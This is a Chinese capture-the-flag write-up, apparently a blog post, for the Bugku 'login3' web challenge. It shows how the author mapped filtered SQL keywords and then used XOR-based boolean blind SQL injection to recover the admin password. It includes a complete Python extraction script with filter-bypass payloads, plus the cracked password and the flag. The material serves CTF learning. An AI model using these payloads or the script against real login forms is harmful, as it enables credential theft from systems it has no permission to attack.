bugku- web -login3

login3(过滤了 空格、=、union、逗号、and、where等字符的 布尔型盲注)

首先 试一下  admin 和 admin  提示 password error!(这里知道用户名 admin是存在的)

这里知道了用户名 admin,那用万能密码试一下呗

输入密码: admin' or 1 =1  #   提示password error !应该是有 过滤吧

用 自己写的 sql 关键字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被过滤了:

对username 字段:(返回值为 1016 的 在response 中 提示 非法字符 ,说明 1016 的字符试被过滤的 ,1023的没有过滤)

可以看到   = ,逗号,union ,and 、where 都被过滤了 

对password字段:(username 设置的是 admin  ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出开有哪些字符被过滤了)

咱们的思路肯定不能是 去 一步一步的爆 库 了,太麻烦了

既然知道了用户名  那直接组爆  password 不就行了 

还好没有 过滤  异或 符  ^    那我们就用 异或 注入

当 在 username 中  输入  admin'^' 时   会提示   password error!

                               输入  admin'^1^'时  会提示  username does not exist!

                               输入   admin'^0^'时 会提示  password error!

那我们就可以去 把 admin'^0^'   中  0 位置的 替换成我们的布尔判断语句 

如果 判断语句是正确的即为1  那就会提示 username does not exist!

否则就会提示 : password error ! 

根据这个 去写一个  布尔的盲注脚本:(在用 substr()函数的时候特别注入 逗号 被过滤的  只能 用 from的形式)

import requests

url = "http://123.206.31.85:49167/index.php"
char  = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
    stop = 0
    for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
        #payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))
        payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))
        data = {
            'username': payload,
            'password': '123'
        }
        html = requests.post(url, data=data)
        if 'error' in html.text:
            result +=c
            stop =1
            print(i)
            print("......" + result)
            break #匹配到值后内循环停止
    if stop == 0: #当内循环匹配不到值的时候外循环就停止
            print("\n"+result)
            break


然后就得到 password 的  值 为一个 md5加密过的字符串 :51b7a76d51e70b419f60d3473fb6f900

解密后得到:skctf123456

输入admin  和 skctf123456 后得到flag:


 

SKCTF{b1iNd_SQL_iNJEcti0n!}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值